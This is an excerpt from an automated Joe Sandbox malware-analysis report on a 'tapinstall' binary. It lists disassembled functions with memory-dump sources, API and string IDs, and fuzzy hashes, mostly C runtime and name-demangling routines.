                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: 0
                                                                                                                  • API String ID: 3215553584-4108050209
                                                                                                                  • Opcode ID: b9c2a45f343b5c87b971f1cf71d6bc23156fee6f057cfd2d8e17317b84542c78
                                                                                                                  • Instruction ID: 04390012ad2fa0788434329b1d8a186384694298bcc69b5c039ec2656f50ba9e
                                                                                                                  • Opcode Fuzzy Hash: b9c2a45f343b5c87b971f1cf71d6bc23156fee6f057cfd2d8e17317b84542c78
                                                                                                                  • Instruction Fuzzy Hash: C371C211A0C2C642FB68EA2998143BDE7919FC1748FC52235DD790FEDDCE29E84687A1
                                                                                                                  Function 00007FF7FEDF41AC Relevance: 1.5, Strings: 1, Instructions: 206COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: 0
                                                                                                                  • API String ID: 3215553584-4108050209
                                                                                                                  • Opcode ID: 77e714d55eda6aa17527c73dbb794f803213f9d7578e7f16155016f531fb6458
                                                                                                                  • Instruction ID: b4dcd12779fb63dc89aaec21f5f291a103f0341eeda977bb489ffadb393608b9
                                                                                                                  • Opcode Fuzzy Hash: 77e714d55eda6aa17527c73dbb794f803213f9d7578e7f16155016f531fb6458
                                                                                                                  • Instruction Fuzzy Hash: F971A031A082C646EB68EA2951043BEE7D1ABC2748FC41135DD7907FDECE2DE84697A1
                                                                                                                  Function 00007FF7FEDF4698 Relevance: 1.4, Strings: 1, Instructions: 200COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID: 0
                                                                                                                  • API String ID: 0-4108050209
                                                                                                                  • Opcode ID: 5db9519db1cddfaa4ec0483ba47a9384cbcec5f952c5f7433adf20521fb9aad9
                                                                                                                  • Instruction ID: c99b4e67a0503d0cd0381fef66720f1bd9de2206d6110bc4dc871e0d084049db
                                                                                                                  • Opcode Fuzzy Hash: 5db9519db1cddfaa4ec0483ba47a9384cbcec5f952c5f7433adf20521fb9aad9
                                                                                                                  • Instruction Fuzzy Hash: A9719231E1C2C246FB68EA2950003BA97919FC2748FD45535DDB81BEDDCE2DE84687E1
                                                                                                                  Function 00007FF7FEDF4914 Relevance: 1.4, Strings: 1, Instructions: 196COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: 0
                                                                                                                  • API String ID: 3215553584-4108050209
                                                                                                                  • Opcode ID: 39f1ec5bb102f363b1fb50bc343c603d561d49684c5f7139075a3ba3241001c7
                                                                                                                  • Instruction ID: 5845535f7d7af4cd4150fb780d4857c7fded52ba299ba56ff4b441982a9fe9ef
                                                                                                                  • Opcode Fuzzy Hash: 39f1ec5bb102f363b1fb50bc343c603d561d49684c5f7139075a3ba3241001c7
                                                                                                                  • Instruction Fuzzy Hash: 4E61DF21A0C2D246FB78EA2950003BAA7919FC174CFC41135DDB917EDECE2DE84687E9
                                                                                                                  Function 00007FF7FEDF4430 Relevance: 1.4, Strings: 1, Instructions: 196COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: 0
                                                                                                                  • API String ID: 3215553584-4108050209
                                                                                                                  • Opcode ID: 90d249107c8bf112e4df0f58921203419683959deed1fc803af336b87ec38021
                                                                                                                  • Instruction ID: 6b411ec56ea5516b4816d4d61a9881b7f1cb379ff221786c682cf0c021097e29
                                                                                                                  • Opcode Fuzzy Hash: 90d249107c8bf112e4df0f58921203419683959deed1fc803af336b87ec38021
                                                                                                                  • Instruction Fuzzy Hash: B661B421A0C2C246FB64FA2950103BA97929FC1749FC41531DDB91BFDECE6DE84287E1
                                                                                                                  Function 00007FF7FEE1D168 Relevance: 1.4, APIs: 1, Instructions: 137COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • GetLastError.KERNEL32 ref: 00007FF7FEE1D20D
                                                                                                                    • Part of subcall function 00007FF7FEE07978: HeapAlloc.KERNEL32(?,?,00000000,00007FF7FEE077C1,?,?,00000000,00007FF7FEE06B85,?,?,?,?,00007FF7FEDE6CA8), ref: 00007FF7FEE079CD
                                                                                                                    • Part of subcall function 00007FF7FEE079F8: HeapFree.KERNEL32(?,?,?,00007FF7FEE132DC,?,?,?,00007FF7FEE136FF,?,?,00000000,00007FF7FEE13F44,?,?,?,00007FF7FEE13E77), ref: 00007FF7FEE07A0E
                                                                                                                    • Part of subcall function 00007FF7FEE079F8: GetLastError.KERNEL32(?,?,?,00007FF7FEE132DC,?,?,?,00007FF7FEE136FF,?,?,00000000,00007FF7FEE13F44,?,?,?,00007FF7FEE13E77), ref: 00007FF7FEE07A20
                                                                                                                    • Part of subcall function 00007FF7FEE1C088: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FEE1C0B6
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ErrorHeapLast$AllocFree_invalid_parameter_noinfo
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 916656526-0
                                                                                                                  • Opcode ID: bdc19389d7424b13ec30ac8dba11af17a85217a491f899bfad80f2150ff4fb30
                                                                                                                  • Instruction ID: 78b0187f789906b3d0b04863aceffd59239e554bfc17de47d0b4e19d5ffab2f1
                                                                                                                  • Opcode Fuzzy Hash: bdc19389d7424b13ec30ac8dba11af17a85217a491f899bfad80f2150ff4fb30
                                                                                                                  • Instruction Fuzzy Hash: C441B121B0924342FB707A667401BBEE280AFC5791F854535EE7E47BC5EE7CE480C660
                                                                                                                  Function 00007FF7FEE157E0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: HeapProcess
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 54951025-0
                                                                                                                  • Opcode ID: ad7aa9be03b136a8b86c241834f3511267ad507e402bf7d5c4e724964e796d7d
                                                                                                                  • Instruction ID: 897559b9f7205b50c7305899d6ba3ba0321a68dbcdbf471df96cb239a429effb
                                                                                                                  • Opcode Fuzzy Hash: ad7aa9be03b136a8b86c241834f3511267ad507e402bf7d5c4e724964e796d7d
                                                                                                                  • Instruction Fuzzy Hash: A8B09220E0BA06C6FB083B127C8222476A4BFD8B00FD44038C02E42360DE6C20A96B60
                                                                                                                  Function 00007FF7FEE02640 Relevance: .4, Instructions: 355COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ErrorLastNameTranslatetry_get_function$CodePageValid_invalid_parameter_noinfo
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3827717455-0
                                                                                                                  • Opcode ID: 3f501d995b418e08b38f9edfabc86e8d3cac6d216730b2c8e5cca3346fb82f23
                                                                                                                  • Instruction ID: 50baba81ca2d016884ca2eb4852e9026fd68fade1cf41ebde896201160295001
                                                                                                                  • Opcode Fuzzy Hash: 3f501d995b418e08b38f9edfabc86e8d3cac6d216730b2c8e5cca3346fb82f23
                                                                                                                  • Instruction Fuzzy Hash: D5E1B421A0868245FB60AB61A4107BAABE4FBD8788FC04031DF6F476D6DFBCD541C7A0
                                                                                                                  Function 00007FF7FEE14340 Relevance: .3, Instructions: 276COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ErrorLast$CurrentFeatureInfoLocalePresentProcessProcessortry_get_function
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 959782435-0
                                                                                                                  • Opcode ID: d56ceefded4baa13521f4f609e87cf593d89bf52db51a349a613b99c63d43d38
                                                                                                                  • Instruction ID: 2fab820685653d53a5f4082e926f6ba8cf82fcbf2fe1ff0bb113c048a60abedf
                                                                                                                  • Opcode Fuzzy Hash: d56ceefded4baa13521f4f609e87cf593d89bf52db51a349a613b99c63d43d38
                                                                                                                  • Instruction Fuzzy Hash: 72B1D662A0864642FB54AF21E5117BDB3A1FBC0B98F804131DA6B837C9DFBCD5958790
                                                                                                                  Function 00007FF7FEDF4E5C Relevance: .2, Instructions: 221COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: c849b448950fe45e02ea9840edd387fd791acb62ee3a335009b810c1d76624ef
                                                                                                                  • Instruction ID: f79b2a8d2c2bf7ce229aa7719cd45c6ceb67114d5ddf33e2258b384041e1da3f
                                                                                                                  • Opcode Fuzzy Hash: c849b448950fe45e02ea9840edd387fd791acb62ee3a335009b810c1d76624ef
                                                                                                                  • Instruction Fuzzy Hash: 9181C435A1828246FBA8FA1990106B9A291EFC0748FC45136DD7D47BDDCF2DE84687E1
                                                                                                                  Function 00007FF7FEDF5150 Relevance: .2, Instructions: 217COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3215553584-0
                                                                                                                  • Opcode ID: fda6414e0ca285d7d3c641e812502447004db9316ab5bd4eb360a61517eae451
                                                                                                                  • Instruction ID: 8834718be0248c678792ae5e55f4c6280f024ef48755ec4e475827a1b4fc89ce
                                                                                                                  • Opcode Fuzzy Hash: fda6414e0ca285d7d3c641e812502447004db9316ab5bd4eb360a61517eae451
                                                                                                                  • Instruction Fuzzy Hash: AA812525E1828B46EBA8FA5991002BDA690EFC1744FC45232DD7947EDCCF2DEC4687E1
                                                                                                                  Function 00007FF7FEDF4B7C Relevance: .2, Instructions: 217COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3215553584-0
                                                                                                                  • Opcode ID: b9fb1412a969e83ffd452d5568cc414aa092d552430bd97b87d94c05d621c441
                                                                                                                  • Instruction ID: 824d6d2c31f14819de73f9e3d07ebf8edc2add837574f2d303b522a5667f6224
                                                                                                                  • Opcode Fuzzy Hash: b9fb1412a969e83ffd452d5568cc414aa092d552430bd97b87d94c05d621c441
                                                                                                                  • Instruction Fuzzy Hash: F2811535A1828242FB68FA1990106B9A690EFC0744FC46136DE7D57BDDCF2EE84687E1
                                                                                                                  Function 00007FF7FEE03F14 Relevance: .1, Instructions: 126COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ErrorFreeHeapLast
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 485612231-0
                                                                                                                  • Opcode ID: b28074559aeab5e219c3ff33a27b5a6f1737238eeca4a21f3c0611eb71f637c7
                                                                                                                  • Instruction ID: 8949fb874da3388f312a1613b94316d594ae364904bc70a9d98583f37b1d2fc9
                                                                                                                  • Opcode Fuzzy Hash: b28074559aeab5e219c3ff33a27b5a6f1737238eeca4a21f3c0611eb71f637c7
                                                                                                                  • Instruction Fuzzy Hash: 89414832714A5485FF44DF26E914069B3A1FB88FD0B899132EE5E97BA8DFBCC0458340
                                                                                                                  Function 00007FF7FEE21B20 Relevance: .0, Instructions: 32COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 12c6a83125842657aa20d81587556ef437bc21cebfee6fedb56fe02cecd375e9
                                                                                                                  • Instruction ID: b13d032342b6f8422b7202ccd98a8ac587573ba6e65c8775109dff66b013f101
                                                                                                                  • Opcode Fuzzy Hash: 12c6a83125842657aa20d81587556ef437bc21cebfee6fedb56fe02cecd375e9
                                                                                                                  • Instruction Fuzzy Hash: E6F0C871B183D58EEB949F28B4426697BE0E788380F908439D59D83F68D67D80509F54
                                                                                                                  Function 00007FF7FEDD8738 Relevance: .0, Instructions: 2COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 075bea70bcd4d8cceaabd6cf7978304fe9b2e4df568cf5a1b525f3513ad4298d
                                                                                                                  • Instruction ID: c2d61e8d0af8ef50370515343286908039a88ad30726ec53179e250b6fcfb30a
                                                                                                                  • Opcode Fuzzy Hash: 075bea70bcd4d8cceaabd6cf7978304fe9b2e4df568cf5a1b525f3513ad4298d
                                                                                                                  • Instruction Fuzzy Hash: 6EA00126908842E0E756AB01B855124A364FB90310B800475D02E426E4DE6CA40587A0
                                                                                                                  Function 00007FF7FEDDE890 Relevance: 82.7, APIs: 44, Strings: 3, Instructions: 459COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Name::operator+Name::operator+=$Decorator::getName$Name::Name::operator=$Name::doPchar$DimensionSigned$DataDecoratedEncodingStringSymbolType
                                                                                                                  • String ID: `anonymous namespace'$`string'$operator
                                                                                                                  • API String ID: 2020783597-815891235
                                                                                                                  • Opcode ID: aede423d4dabe3da59b1e03a92da396b2b5059be44e77dc81dd73a52e45e54ff
                                                                                                                  • Instruction ID: d5706a79530615c0268d01db6d9d2a39a413b7424fc381b8f11e14cf7c803ecb
                                                                                                                  • Opcode Fuzzy Hash: aede423d4dabe3da59b1e03a92da396b2b5059be44e77dc81dd73a52e45e54ff
                                                                                                                  • Instruction Fuzzy Hash: A5228162F18A5698FB24AB64D8901FCA771BB84788FD04036DE2E17AD5DF2CE445C3A0
                                                                                                                  Function 00007FF7FEDDC6CC Relevance: 73.8, APIs: 17, Strings: 25, Instructions: 277COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Name::operator=$Name::operator+Name::operator+=$Decorator::getNameName::Type$DataName::doPchar
                                                                                                                  • String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $bool$char$char16_t$char32_t$const$double$float$int$long$long $short$signed $unsigned $void$volatile$wchar_t
                                                                                                                  • API String ID: 1480303775-3737837666
                                                                                                                  • Opcode ID: 5336914cda9eb7d28fc33c9881fb9f0eefb368431fddd4b441b46ed6f18de0a2
                                                                                                                  • Instruction ID: 5fe0130f0cf05afc2600991fcfa11d43bb26f3466c1819c9cc1e14653474739f
                                                                                                                  • Opcode Fuzzy Hash: 5336914cda9eb7d28fc33c9881fb9f0eefb368431fddd4b441b46ed6f18de0a2
                                                                                                                  • Instruction Fuzzy Hash: C2D15F61E1CA1294FB34EF64E8802BCA360AB84394FD05536D92E579D4DF7CE54AC3E2
                                                                                                                  Function 00007FF7FEDE03F0 Relevance: 59.7, APIs: 30, Strings: 4, Instructions: 242COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
